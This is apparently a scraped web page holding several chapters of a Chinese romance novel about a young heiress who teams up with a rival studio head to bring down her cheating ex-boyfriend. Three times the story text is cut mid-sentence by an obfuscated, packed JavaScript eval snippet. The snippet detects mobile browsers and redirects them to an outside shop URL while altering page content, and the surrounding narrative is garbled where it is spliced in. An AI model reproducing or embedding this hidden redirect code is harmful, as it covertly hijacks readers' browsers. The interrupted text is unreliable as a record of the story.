姜予彤:[还行吧我觉得,和他合作过的人不少,二次三次求合作的也不少,没听说过和谁谈崩了。] 姜予彤:[怎么了?你担心裴言因为你和司衡在一起过,连带着看你也不顺眼,怕他拒绝你?] 简月:[那倒不是,他已经找过我了,我只是在考虑别的东西。] 姜予彤:[哦呦,动作还挺快,那你呢,你怎么说?] 简月:[我说明天。] 姜予彤懂了:[哦——所以你才来问我他靠不靠谱。] 姜予彤:[我觉得可以见一面试试。怎么说呢,这个圈里,其实话语权基本就在创世和亚恒手里了,为了一个剧本一个角色,大把的人想跟司衡裴言这两个一把手攀上关系。] 姜予彤:[你想搞垮司衡,找个和他旗鼓相当的帮手不是最简单的办法吗?] 也是。 创世和亚恒虽然在别的领域也有业务,但都是小版块,只有影视才是大头,主业高度重合,难免有竞争,一来二去就会有摩擦。 一山不容二虎,而二虎相争,必有一伤。 和裴言合作,的确是最好的选择。 回完最后一条消息,简月从沙发上站起来准备去换衣服。 视线随意一扫,扫到沙发边上搭着的西装外套,她愣了愣,随即想起什么,上前检查起来。 还好,没什么大问题,只是淋了点雨,干洗一下就好了。 只是,衣服毕竟不是她的,还是洗之前问一下裴言吧。 * 雨在半夜停了。 第二天天亮,街道上的每片绿叶都被洗得发亮。 下午一点五十分,简月将车停在了茶馆门前。 她仰头看向“通幽处”的牌匾。 春溪路远离商圈,是一条僻静又充满生活气的街道。 马路两侧的大树投下阴影,形成林荫小道,树影摇曳,空气中散着淡淡的花香。 曲径通幽处,果然店如其名。 店内有人正在记账,抬头看到她,立刻推了门出来,试探着道:“简小姐?” “是我。” 见她点头,那人露出笑容,伸手为她开门:“请进吧,裴先生等您很久了。”说完又补充,“我是这儿的老板,姓赵。” 赵老板领她进了门,接着领她上楼。 简月跟在他身后,一边走一边环视了一圈店内。 实木风的装修用了绿植做装点,又额外点了檀香,风雅古朴,倒有些呼应牌匾的后半句——禅房花木深。 看不出来,裴言竟会在江市找到一个这么雅致的地方。 简月忍不住问老板:“他经常来这里吗?” 老板回头看了她一眼,笑着道:“当然,裴先生可是我们店里的常客,每周都要来的。” 这话说完,楼梯也到了尽头,来到二楼,赵老板领着她到一个隔间门前,敲门道:“裴先生,简小姐来了。” 里面的人嗓音淡淡:“嗯,进来吧。” 门被打开。 里面是个雅间,茶桌挨着窗,两人对坐喝茶,刚好能透过窗户看到下面的林荫路。 不错的位置。 而雅间里的人,今日又换回了初次见面时的打扮——西装外套搭T恤,唯一的不同,是那天西装外套穿在他身上,今日则随随便便搭在了一旁的衣架上。 裴言一身纯黑的T恤,低着头,正用热茶浇灌着桌上的茶宠。 简月向他对面的位置走去,老板在身后悄悄帮他们关上了门。 走到裴言对面,简月放好包,抚平裙底准备坐下,便是在那一刻,浇茶声停下,对面的男人蓦然抬起了头。 一个意想不到的近距离对视。 三天见了三次,她却直到此刻才清晰地看清他的脸。 第一次是俯视,隔了几步距离;第二次是雨夜,光线不足。 只有第三次,天光大亮,距离和角度都刚刚好。 呼吸可闻的距离下,她看到他深邃的眉眼,高挺的鼻梁,流畅的面庞弧线…… 以及一颗泪痣。 很小一颗,缀在左眼的眼尾处,配合着上挑几分的眼形,本该有挑逗的意味,可他气质冷然,半点温柔也不显,那分挑逗就变成了不自知的性感蛊惑。 倒是……不比司衡长得差。 一瞬间的对视漫长得仿佛时间凝滞,一秒钟后,裴言率先移开视线,倒了一杯茶递向她:“你的茶。” 淡淡茶香飘向她,简月笑了一下:“谢谢。” 在椅子上坐好,她端起茶吹了吹,喝下一口,好奇道:“一般人都喜欢约在咖啡馆或餐厅,你特意选在茶馆,是喜欢喝茶?我听老板说你经常来这里。” 裴言放下茶壶,不答反问:“你呢,喜欢喝咖啡还是茶?” “都可以,只是我以前在英国咖啡喝多了,刚回国那段时间就喝茶多一些。”她想起什么,随意道,“你不知道,英国的茶和中国的完全不一样,比不了。” 你不知道,英国的茶和中国的完全不一样,比不了。 男人呼吸一轻,陈年的记忆突然被撕开了个口,流逝的时光在这句话面前变得模糊,记忆里的少女和眼前的简月,渐渐重合。 十年前,英国伦敦,少女挽着同伴的手离开,也是这样用中文对着同伴说——你不知道,英国的茶和中国的完全不一样,比不了。 一字不差。 那句话被风送到他耳中,他听到了,以为是听过就忘的一句话,结果……他记了这么久。 “是吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747480|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”裴言说,“我知道,我也在英国待过。” “那还挺巧。”四个字的礼貌回应,没有再继续追问下去。 也是在英国读书吗,哪个城市,哪个大学,诸如此类的问题,一个都没有问。 “确实巧。”他转着手中的茶杯,慢慢说道,“说不定我们在英国见过。” “也许吧,英国也不大。”仍是毫无探究欲的礼貌回应。 裴言沉默下来。 简月低头喝茶,没有注意到男人的神色变化。 在脑海中快速过了一遍今天要谈的内容后,她抬起头道:“我们开始吧,谈正事。” 谈合作的事。 她继续说:“在此之前,我有几个问题想问你。” 裴言用眼神表示了默认。 “那天你看到我和司衡的事了,这么好的机会,你为什么什么都没做?” 男人弯了弯唇,淡淡一笑:“因为这是我和简小姐合作的诚意。这种事情只有本人第一个公开,伤害才能降到最低。” 言下之意,他只针对司衡,不会牵扯到她。 原来如此,简月了然。 接着是第二个问题:“这条信息和你有关吗?” 她拿出手机,点开那条iMessage信息,然后将屏幕面向他。 裴言看了几秒:“没有。” 看来是姜予彤想多了。 第三个问题:“你想要什么?” 裴言:“第一话语权。” 他省略了影视圈,但简月知道他在说什么。只要司衡还在,两家平分秋色,他就永远得顾忌他。 对于有野心的人来说,想要最大的话语权,合情合理。 第四个问题:“你需要我给你什么?” 这个问题问出口后,裴言没有像前两个问题一样很快回答,而是顿了顿,才神色如常地开口:“在创世和亚恒竞拍IP的时候,给予亚恒支持。” 哦,就是说必要的时候,要出资亚恒。 这个也很合理,但有一个问题。 简月疑问的目光才投过去,裴言就已经明白,解释道:“亚恒会保证正回报率,并给你一份IP价值的分析报告,简小姐可以自己判断是否入资。” 那就没问题了。 只要选择权在她手上就好。 第五个问题,也是最核心的一个问题:“你打算怎么搞垮司衡?” 裴言没急着回答,低头将两人的茶杯倒满,才不紧不慢地说:“从资金周转率入手。” 从资金周转率入手,想办法降低他们的资金周转速度,等到关键的一步,资金链断裂,公司也就离破产不远了。 他接着说:“就像多米诺骨牌,只要第一个倒下,后面的崩盘也只是时间问题。” 简月一听就懂,反问:“说得这么宽泛,具体呢?” “那就要看简小姐的选择了,是合作,还是拒绝。合作的信任要慢慢建立,只要我们合作愉快,简小姐总会知道的。” 简月安静下来。 其实还有第六个问题,裴言能给她带来什么,但这个问题的答案两人都心知肚明,所以也没有必要再问。 片刻后,简月重新对上他的眼睛:“裴总急吗?不急的话,我三天内给你答复。” “可以,简小姐想好了,随时联系我。”裴言说完,目光扫向她的手机。 简月反应过来,打开微信:“我加你。” 裴言点开他的二维码递了过来,等了几秒,等她扫完才开口:“我们的手机好像一样?” 废话。 不一样她还至于捡错吗? 简月发送完好友申请,看他一眼:“是啊,挺巧。” “……” 裴言没再接话,目光落在她身上,似乎还想说点什么,但最后也没有开口。 真奇怪,一句话问得没头没尾的。 看着好友申请通过,简月放下手机,想起外套的事:“对了,你昨天借我的外套可以干洗吗?可以的话我就洗好再还给你。” “可以。” “那还是三天内,洗好后我联系你。” 裴言淡淡弯唇:“正好,希望简小姐来还外套的时候,我能听到同意合作的回答。” “放心,我一定好好考虑。”喝完最后一口茶,简月放下茶杯,“那没有别的事我就先走了。” “慢走。” 简月礼貌点了下头,提包走到门口,突然停下,又回头看他:“对了,你能不能不要叫我简小姐了?直接叫我简月就好。” 这句话她想说很久了。 简小姐简小姐,听着好不习惯。 她身边可没有人一天到晚叫她简小姐简女士。 正在倒茶的男人闻言看向她。 窗外忽然起风,茂密的枝叶摇曳出重影,影影绰绰。 静了静,他点头,回以他的名字:“裴言。” 这是要她也直接叫名字、不要叫他裴总的意思。 于是简月点头:“好,裴言,再见。” 5. 骄傲-5% 两天后,R.L.的vip室内。 “裴总,晚上的酒会,创世那位也在。”助理说。 裴言正在翻图册,闻言“嗯”了声:“知道了。” 助理说的酒会,其实就是圈内的一种社交方式。 导演,制片人,投资人,所有能说得上的话的,都会在这种场合刷刷脸,扩充一下人脉,推杯换盏间,一个合作就定了下来。 这也是裴言会坐在这里挑礼服的原因。 他的确有个导演想聊聊。 R.L.——众所周知的意大利奢牌,专做礼服,既接定制也卖成衣。 基于礼服的特殊性,也为了保证客人的体验感,R.L.坚持一款只卖一件,因此在时间紧张来不及定制的情况下,不少人会选择来R.L.挑现成的礼服。 五分钟后,裴言点了点图册上一款黑色西装礼服:“这件吧。” * 简月开车到R.L.的时候,裴言的助理已经等在门口了。 认出她的车牌号,小助理积极迎上来:“简小姐,裴总让我带您进去。” 简月点头,提起副驾座上的防尘袋交给他:“这是你们裴总的衣服,我来还给他。” 助理连忙接过:“好的我先帮裴总收起来,您跟我来。” R.L.的一楼用来展示成衣,二楼才是私人接待室。 简月跟着助理上楼,来到走廊尽头的那扇门前。 助理敲门:“裴总,简小姐来了。” 里面的人说:“进来。” 然后门打开,男人站在穿衣镜前,正低头理袖口。 第四面,他又换上了极其正式的西装衬衫,衣服褶线锋利,看起来是刚上身试穿的新衣。 听到门开,他抬头望过来,视线落在她身上:“想好了吗?” 一句话的工夫,助理已经带上门自觉退出去了。 简月点头:“想好了,我们合作。” 这个决定她想了整整两天。 简家的公司主投资,一直有专业人士负责打理,除了影视,在广告游戏等领域也都有涉及。前几年她还在国外时,简怀英就只负责把握大方向和做重大决策,后来她留学回来,简怀英开始让她参与一些公司的决策,甚至偶尔放手,由她来把控大方向。 那天分开后,简月仔细看了裴言接手亚恒的前后对比资料,发现他的决策从无失误。 亚恒原本在创世面前略有弱势,可这几年在裴言的掌管下,也渐渐有平起平坐的话语权了。 裴言的确是个值得合作的对象。 既然如此,在不影响公司正常运营、不动摇简家根基的情况下,她不介意和裴言合作赌上一把——投资本就是一场豪赌。 听到她的回答,男人轻笑,接着点头,问她:“正好,今晚有个酒会,要不要和我一起去。” 简月:“酒会?” 来之前她就怀疑裴言约她在这儿见面是有别的用意了,现在再看,果然。 “过几天有个公开的IP拍卖会,创世一定会出手。你如果想在拍卖会之前听听圈内人对各个IP的口风,今晚就是个好机会。” 顿了顿,裴言补充:“当然,你要是介意和我一起公开出席惹来非议,也可以不去。” 毕竟她刚刚和司衡分手。 短时间内和创世亚恒的一把手都有牵扯,确实太容易成为话题中心了。 但简月是谁。 她笑:“我又不是为别人而活,这种机会我为什么要因为别人的目光而错过。去,我当然要去。” 裴言凝视她几秒,又点头:“好,我让助理带你去挑衣服。” 助理看到消息又哒哒哒跑进来,递了图册给她,简月翻了几页,在里面挑出一条红色的掐腰长裙。 十分钟后,她穿着换好的红裙,从试衣间走出。 微卷的长发,白皙的皮肤,明艳张扬的五官,搭配最惹眼的红色系,就像带刺的玫瑰。 足够美丽,也足够难以接近。 助理看得移不开眼,面上还维持着平静,内心早已翻江倒海。 简大小姐这样吸睛,难怪裴总愿意为她破例。 这可是裴总第一次带女伴出席活动啊。 想到这儿,他悄悄看向沙发上的裴总。 裴言一脸平静,淡淡看着简月在穿衣镜前检查,见她露出满意神色才开口:“选好了吗?好了就走吧。” 助理瞬间哽住。 要不怎么说裴总单身呢,这么好看的衣服和人,也不夸几句。 简月又转了半圈,确认身后也没问题,这才开口:“嗯,就这件吧,在哪里刷卡?” 说着进试衣间拿了包出来。 “在……”小助理张了张嘴,才要回答就被另一道声音打断。 “不用了,记在我账上就好。” “嗯?”简月挑了下眉,好奇看向裴言,“怎么说?” 那一挑实在勾魂。 助理只远远看了一眼就觉得无法呼吸,赶紧移开视线,然后就看见裴言依旧不动如山。 还是裴总沉得住气。 裴言从沙发上站起来,慢慢走近,两人的衣服一黑一红,莫名般配。 他说:“就当是,我提出合作的诚意。” * 晚上七点,车陆续驶进庭院。 绕过花园和喷水池,最后停在正厅前的空地。 今晚的酒会是一个制片人发起的,他手上才出过一个爆剧,不少人都因此慕名而来。 裴言和简月一起到的时候,里面灯火通明,已有不少人在举着酒杯攀谈了。 但这些攀谈声都在他们进来后,陆续低了下去。 第一眼看见他们的人忘了说话,周围一起攀谈的察觉到什么,跟着望向门口,然后也忘了说话。 刚才还热闹无比的大厅一下子安静不少,偏偏当事人还面不改色,男方是,女方亦是。 裴言,他们自然是认识的,多少IP版权都在他手下,影视圈绕不开的亚恒一把手。 简月,他们也是认识的,毕竟都在江市,简家又当过几部剧的投资方,况且……简家的公开退婚前几天刚上过热搜。 只是,裴言和简月? 众人诧异了一瞬,很快有人打破安静,开始跟他们打招呼。 “裴总。” “简大小姐。” 裴言一一点头,草草回应完那些人,拿起两杯酒,带着简月向里走去。 他说:“你要跟着我去见张导,还是自己找人聊。” 简月:“你要找他谈合作?” “算是,张导的戏很细腻,部部精品,过几天拍卖会上有我想要的IP,我打算先跟他聊聊。” 捕捉到“拍卖会”的关键字眼,简月没有犹豫:“跟着你吧。” 裴言“嗯”了声,不再说话。 张导正在与人闲聊,见他们过来,主动打起招呼:“裴总,简小姐。” 裴言向他敬酒:“张导方便聊聊吗?” “这……” 张导看一眼身旁的人,那人立刻会意,笑着道:“你们聊,你们聊。” 他走后,张导举起酒杯回敬:“裴总想聊什么?” “过几天的拍卖会张导应该已经知道了,亚恒看上一个IP,有意和您合作,不知您怎么想?” 裴言话里的邀约之意明显,张导显然有些意外。 “裴总看上了哪个IP?” 裴言:“《星河》。” 星河,这个名字简月也听过,原著书粉众多且舍得花钱,商业价值极高,算是顶级IP了。 张导笑着说:“《星河》?裴总的眼光果然极高,可我听说创世也看上了这个IP。” 言下之意是,版权的归属还不好说,这会儿谈合作,是不是为时尚早。 这话不好接,但裴言淡淡一笑:“IP总有新的,只要张导愿意,总能找到机会合作。” 张导果然被勾起了兴趣。 之后两人聊起了其他电影,简月听了一会儿,跟裴言说要走开一下,然后放下酒,向洗手间的方向走去。 正厅到洗手间要经过一条长走廊,她穿过走廊,走到洗手间外的公用镜前开始补妆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747481|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而刚拿出口红,身后突然响起脚步声。 有人叫她:“简月。” 一个她无比熟悉的声音。 简月愣了一秒,猛地转身。 来人果然如她所想,是司衡。 他怎么会在这儿? 哦,对,今晚的酒会本就是影视圈内人居多,司衡会出现在这里也没什么不正常的。 她来到这里的第一眼没看到司衡,就下意识以为他不会来,可她竟然忘了,这种场合只要司衡想,他随时都可以来。 “简月。”司衡又叫一遍,眼神费解,“你怎么会和他在一起?” 看到简月背影的时候,他就认出她了。 今天晚上他在公司临时开了个会,所以酒会来得迟了些,看到裴言他不意外,可看到裴言身边的那个人,他忽然有种周身空气都冻住的感觉。 冷得他发抖。 谁能想到,他竟然会在一个从不带女伴出席活动的人身边,看到他的前女友。 但酒会人多,他很难找到机会和她单独说话,等终于看到她从裴言身边走开,他赶紧放下酒杯跟了过来。 他最喜欢的人,明知道他和裴言之间有多不对付,明知道裴言给他挖过多少坑,为什么还会和裴言一起出现在这里? 是为了报复他? 不,不行,他知道他和简月完了,他也做好了简月以后会和别人在一起的准备,可那个人,那个人,绝对不可以是裴言。 “怎么?”简月看着司衡,有些想笑,扯了下嘴角,“这跟你有关系吗?” “当然有!”他突然提高音量,“你明知道他……” 或许是在顾忌什么,后面的话他没有说完。 简月歪了歪头,看着他这幅样子更想笑了:“我知道啊,就是因为知道,看你现在这幅模样我才特别开心。” 司衡脸色变了变,片刻,他极力平复了下情绪,看着她说:“你恨我,我知道,但是你不要意气用事,裴言和我之间什么情况你最清楚,你会被他利用的。” 他语气渐渐变软:“你想报复我,可以,我接受,但是你不能找他,阿月,他会伤害你的。” 很久没听他这么叫她,今日再听到,简月忽然觉得恶心。 恶心到失去再与他聊下去的耐心了。 做出那种事,他竟然还敢叫她“阿月”。 “伤害?”简月冷笑,“你真好笑,一个已经伤害过我的人,竟然在担心别人会伤害我。” 她收起口红,连妆都懒得再补:“让开。” “不让。” 不仅不让,他还向她逼近了几步。 成年男性的压迫感袭来,简月警觉地向后退了几步,后背挨上墙壁。 “阿月,裴言不是什么好人,离他远一点。他给了你什么好处,我也可以给你,你说,你想要什么,我加倍给你。” 想要什么? 想起之前裴言和张导的谈话,简月轻笑:“我要是想要《星河》的版权呢?” “《星河》?”司衡的脸色瞬间冷下来,“你怎么会想要《星河》的版权?” 他的眼神渐渐失控:“你是为了他?简月,你做梦!” “对,我做梦,那你让开,我和你已经没什么好说……”话还没说完,手腕就被司衡握住。 他又逼近半步,两人之间的距离只剩最后几厘米。 “阿月,我是认真的,不要相信裴言,离他远一点,我在他手上吃过那么多次暗亏,换成你,你会被他吃得骨头都不剩。” 外面的走廊响起脚步声。 简月向外看了一眼:“有人来了,你真的不放开我?” 司衡:“你先答应我。” 简月终于忍不住笑了,一字一字道:“司衡,我十七岁的时候就可以只靠自己把成年白人送进警察局,现在我二十七岁了,你要试试吗?” 司衡看着她,眼底有一瞬的迟疑。 就是这分迟疑,让他被身后一只更有力的手抓住了肩膀。 裴言的手上渐渐用力,声音像冰:“她让你放开,没听到吗。” 6. 骄傲-6% 司衡脸上露出吃痛的表情。 趁他手下的力松了几分,简月趁势甩开他,嫌恶看他一眼,毫不犹豫地转身离开。 司衡:“简月!” 简月没有回头。 直到脚步声远去,裴言才放开司衡的肩膀,后者因为惯性,向后踉跄了半步。 裴言冷冷看他一眼,抬脚也要离开,身后那人却说:“我警告你,别想对她怎么样。” 他脚步一停,又转回身去。 “警告?”裴言不紧不慢地重复这两个字,“司衡,要不要我再提醒你一遍,你和她已经没有关系了,你没有立场来警告我。” “是吗?”司衡轻哂,“那你刚才又是以什么立场让我放开她的?” 裴言脸色瞬间沉了下去。 司衡接着说:“裴言,你要是敢伤害利用她,我不会放过你。” 两人对视,针锋相对,箭弩拔张,谁也不肯先示弱移开目光。 半晌,裴言冷冷勾唇,开口:“做出那样的事还敢大言不惭,凭你也配。” “你!” 司衡被戳中痛处,立刻落了下风,裴言也不欲再与他浪费时间,扯出一个讥讽的笑,转身离开。 * 简月穿过走廊回到正厅的时候,就已经失去了继续留在这儿的兴趣。 她向门口走去,却被张导喊住。 “诶,简小姐,你在这儿,刚才裴总不见你回来,还专门去找你了,你没见到他吗?” 简月停下脚步,定了定神,说:“嗯,见到了,我有些不舒服,要出去透透气,如果您再见到他,麻烦跟他说一声我在外面,谢谢。” 她说完来到外面,看着沉静的夜色,紧绷的神经终于松懈下去。 穿过正厅前的空地来到花园,又绕着花园转了小半圈,简月最后在喷水池前的一个长椅上坐了下来。 月色笼罩下来,周围安静无人,她盯着中央的水池,听着潺潺的流水声,思绪渐渐放空。 好像每次都是这样。 每次见完司衡,她都有种说不出的疲惫感。 即便和他见面时不落下风,看他失意和气急很爽,可分开后,她好像也没有很开心。 甚至疲惫到没精力应付任何人,只想一个人坐着,静静放空思绪,什么都不去想。 不知过了很久,身侧响起脚步声。 简月转过头,看到了裴言。 他面色平静地在她身边停下,问她:“在想事情?” “没有,一个人随便坐坐。” “介意我也坐一会儿吗?” 简月诧异看他一眼,没有拒绝。 男人在长椅的另半边坐下,也没有说话,两人就这么沉默着。 远处偶尔有光亮起,又很快消失,陆续有车离开了。 简月出神看了一会儿,忽然开口:“酒会结束了吗?” “嗯,应该。” “你不走吗?”简月问他。 “那你呢?” “不想动,再坐一会儿。” 裴言沉默,不说走也不说留,片刻后他开口:“你说你十七岁的时候把成年白人送进警察局,是怎么回事。” 简月顿时意外看他一眼:“你听到了啊。” 她笑了笑:“也没什么,就是我看见一个中国人被抢,上去帮了他一把。国外那种地方嘛,你知道的,当街偷窃和抢劫都很多,警察根本管不过来。” “那他应该很感谢你。”男人望向她,漆黑的眸中微有异样。 “是吗?不过这么多年,他应该已经不记得了吧。” 不,他记得,甚至他现在就在你面前。 裴言终究还是没有说出这句话。 既然简月不记得他了,那就让她再认识一次好了。 不是十七岁的裴言,而是二十七岁、已经足够有能力的裴言。 两人之间又安静下来,夏末的风从中间穿过,带着浅浅的凉意。 “裴言。”简月看着前方,忽然开口,“你是不是,在陪我啊?” 否则他为什么一句话都不说,只是在这里无言静坐。 “嗯。”没有否认,他说,“是我带你来这里的,你心情不好,和我也有关系。” “……”简月怔了怔。 她下意识想说她没有心情不好,可话到嘴边又发现,她的种种表现,好像的确可以用“心情不好”来概括。 “谢谢。”最后她这么说道。 “现在和刚才,都谢谢你。还有……”顿了顿,简月继续,“抱歉,我可能给你惹了点麻烦。” “什么?” “司衡问我想要什么,我随口说了《星河》,现在想想……这句话可能会刺激到他,让他无论如何也要从你手里抢走这个IP。” “……”回答是男人的一声低笑,他摇摇头,“不算麻烦,实际上,你帮了我。” “嗯?”她侧目看过去,“为什么?” “因为我想要的IP不是《星河》。”裴言看着她的眼睛解释道,“在拍卖会开始之前,最好不要让人知道你的真实想法。” “如果他真的因为你一句话而盯上《星河》那再好不过,我正好可以抬抬价,让他付出比预期更多的成本。” 简月眨了下眼睛,明白过来:“如果成本超出预期,就势必要拿别处的资金来填补。” 这样创世就会出现缺口。 或许这样的缺口微不足道,创世很快就能补上,但千里之堤,溃于蚁穴。 她松了口气,接着又问:“那你真正想要的IP是什么,可以告诉我吗?当然……不可以也没关系。” “可以。”裴言回答得很平静,“是《男主为何还不杀我》。” 简月回忆了一下,问:“我没听过这个名字,是小IP?” 他点头:“真正的黑马最初都是不起眼的,预期越低,越容易出效果。你如果有兴趣,我可以把简纲发给你。” 简月确实想知道什么样的故事能被裴言看上,于是点头:“好啊。” “嗯,那我回去发给你。” 夜渐渐深了,远处的灯熄了不少。 又无言沉默了一会儿,简月开口:“走吧。” “好。” 昏黄的路灯在地面拉出两个人的影子,水流声渐渐被落在身后。 快到停车的地方时,简月忽然停下:“裴言。” 男人亦停下脚步,侧身看她。 “我还有个问题想问你。” “什么?” “拍卖会的事情是你早就想好的吗?你的计划那么清晰,是不是没有我,你也迟早能搞垮司衡?” 月色下,男人静静看了她许久。 最后他走回来,放轻了声音:“世事无常,哪有那么绝对,说不定明天我就出车祸被车撞死了,这样,不就是司衡赢了吗?” 这是简月第一次见有人能将死和意外说得这样轻描淡写。 更何况这是裴言,一个理论上来说应该极其惜命的野心家。 一时不知该说他消极还是理智。 她微愣:“看不出来,你对这些看得挺开。” 一点都不避讳生死。 “客观事实,为什么看不开。”他说,“而且,你愿意帮我,我当然不会嫌合作者多。” * 回到家,裴言已经将《男主为何还不杀我》的简纲发过来了。 简月给自己热了杯牛奶,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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半晌,终于有新的消息发出。 裴言:[资料很多,一时半会儿说不清。] 裴言:[如果你方便的话,] 裴言:[明天下午五点,在我的办公室面聊吧。] 这件事确实不是在手机上就能说清的,于是简月打字:“好,下午五点,我去找你。” * 第二天简月醒得很早。 夏末了,早上的空气也不再闷热难以忍受,她打开窗户通了风,惯例打开手机简单处理了一遍公司消息,接着,点开了《男主为何还不杀我》的小说原文。 ——昨晚看完简纲后,她就对这个故事产生了好奇。 三个小时后,她放下手机,有些心潮澎湃。 这本书比她想象的还要温暖一些,讲的内容除了男女主的命中注定,还有女主对男主的救赎。尤其是最后的成亲,圆满美好得让人唏嘘。 除开故事情节,这本书的人设也个个丰满,每个人都在自己的故事线中做到了逻辑自洽。 尤其女二,虽然整本书的展开都因她而起,但她的人设是穿书的女大学生,无论优点还是缺点,都真实得就像身边的普通人。 而这个角色身上的争议部分,简月其实也能理解。 就像植物大战僵尸里,玩家只会想怎样用坚果阻挡僵尸前进,而不会想坚果被哭着啃干净时有多疼。 故事里的女二也是一样,最初的最初,她也只是以为那里的世界是一本书,一切都是假的,只有她活着回家才是最重要的事。 简月平复了一会儿情绪,拿起手机,发消息给姜予彤。 简月:[给你分享本书,《男主为何还不杀我》。] 简月:[正好过几天的IP拍卖会上这本也在,你如果感兴趣,可以等人拍下后,考虑一下试镜角色的事。] 7. 骄傲-7% 说起姜予彤,她现在的状态应该是演员最舒服的那种状态。 不温不火,但因为能力和口碑都很不错,每年都有戏拍。生活自由,不缺钱花,还不会被人恶意攻击和放大隐私。 姜予彤说,她觉得自己这样刚刚好,毕竟站得越高,承受的就越多,无论善意还是恶意。 没多久,姜予彤回了消息。 姜予彤:[咦,难得你给我分享书,那我肯定要看看。] 姜予彤:[对了,你昨天和裴言一起去的酒会怎么样?] 简月:[还行,知道了点消息,正打算今天下午跟裴言商量拍卖会的事。] 姜予彤:[我说你怎么突然跟我分享书呢,看来是有目标了。] 姜予彤:[好啦,去吧去吧,不过你跟裴言商量完,晚上来陪我吃饭吧,过几天我又要进组,一个多月见不到你啦。] 简月笑笑:[好啊,那你选好地方发给我,我结束后就去找你。] * 下午五点。 来亚恒之前,简月已经做好了亚恒员工会用八卦眼神看她的准备,但出乎意料,一切顺利。 下了车后助理就主动迎上来为她带路,然后直奔总裁专用电梯,除了一楼的前台,她竟然一个员工都没遇到。 电梯停在三十三层,整个楼层非常安静,地上铺了一层厚厚的地毯,走起路来一丝声响都没有。 助理带她来到最里面的办公室门前,敲了敲门:“裴总,简小姐到了。” “进来。” 助理向她点头,示意她一个人进去就可以,简月打开门走了进去。 ——这是一间很宽敞的办公室,装修风格极简,黑白灰的色调透出一种不近人情的冰冷感。 一进门是会客区,往右是办公桌,再往右,则是一扇巨大的落地窗。 在三十三层这样的高度,想来应该视野极佳,整个江市都可以收入眼底。 办公室的主人坐在办公桌后,依旧是西装外套搭深色T恤的打扮。 见到她进来,他站起身:“坐吧。” 助理在身后关上了办公室的门。 简月点头,在会客区的沙发上坐下,裴言走上前,为她倒了杯茶,然后将茶几上一份文件移至她面前:“《星河》的估值报告,你先看看。” 简月喝了一口茶,翻看起报告。 报告写得很详细,先从原书的收藏评论量、完结评分和打赏金额全面分析了一遍,接着又结合各个社交平台的二创、话题热度和书粉购买力二次调整,最后得出结论,《星河》的市值估价约两千八百万。 裴言在她对面的沙发上坐下:“创世随时可以调用的现金流,估计约一点五亿,但这只是参考,不具有准确性。” 他给自己也倒了杯茶,没有抬头,慢慢道:“你和他在一起几年,应该很了解他的性格和行事作风。你觉得——”男人抬起头,“他的上限是多少?” 观棋知心,一个人的性格可以从下棋的手段推出,那么反之亦然。 商场亦然。 有人选择保守,有人选择风投。 有人达到预期的结果就会满足,选择退场;有人达到预期的结果,却只会欲望膨胀,想要更多。 《星河》的竞拍,司衡愿意拿出多少来陪他们赌? 翻报告的声音慢下来,简月微微蹙眉。 在她的认知里,司衡的性格里的确有赌的那一面。 他如果真是温吞的保守派,也坐不到一把手的位置上。 曾经陪她玩高空索道和跳伞,是赌; 在她明确说过谈恋爱只是试试后,他依然坚持和她在一起,是赌; 出轨后瞒着她……也是赌。 他的确大胆。 咽不下去的那口气又被提起,简月不由捏紧了手中的报告。 随即意识到自己的失态,她松开手,深吸了口气:“等我看完报告想想吧,想好了我发消息告诉你。” 裴言看着她捏过的报告,目光沉沉,点头:“好,明天之前告诉我就可以。” 他站起身,回办公桌又拿了文件和笔过来坐下,继续处理工作。 办公室内安静下来。 一个小时后,时针指向六点,简月翻完报告,心里已经有了一个大概的估算。 “我看完了。”她放下报告,“有一个小问题,拍卖会有底价吗?” “有,但不会公开,如果最终价低于底价,IP就会流拍。” “那《星河》的底价你有猜测吗?” “保守估计两千万。” 简月若有所思地点头:“那我没有问题了。” “好。”男人说着看了眼时钟的方向,轻描淡写地提议,“刚好饭点,要不要一起吃个饭。” 简月意外了一瞬,随即笑着道:“不了,我约了朋友。” * 创世总裁办。 助理站在司衡面前,恭恭敬敬汇报:“司总,《星河》估值三千万,预计亚恒也会出手,我们是否要更换目标?” “目前可调用的现金流是多少?”司衡反问。 “约一亿三千万,除开公司运转的成本,还有八千万可用。” 司衡闭了闭眼。 他放下笔,向后靠上椅背,半晌,做出决定:“不更换。” “好的。” 助理离开后不久,一条新的消息提醒显示在司衡的手机屏幕上。 他拿起手机点开。 是林曼发来的。 林曼:[你今晚回家吗?长辈们想商量一下我们订婚的事。] 司衡皱眉。 订婚,他们就这么迫不及待么。 他和简月才分开几天,连喘息的时间都不给他,他们就要安排他订婚了吗? 心脏某处又开始作痛,像无数的丝线绑在上面,来回拉扯。 司衡平复了许久才回复:[不回。] 消息发出后,他将手机扔在桌上,低头从抽屉里取了包烟出来。 窗外的夕阳染透半边天,司衡点完烟,走到窗边,狠狠吐出一口烟圈。 * 姜予彤选的是一家日料店。 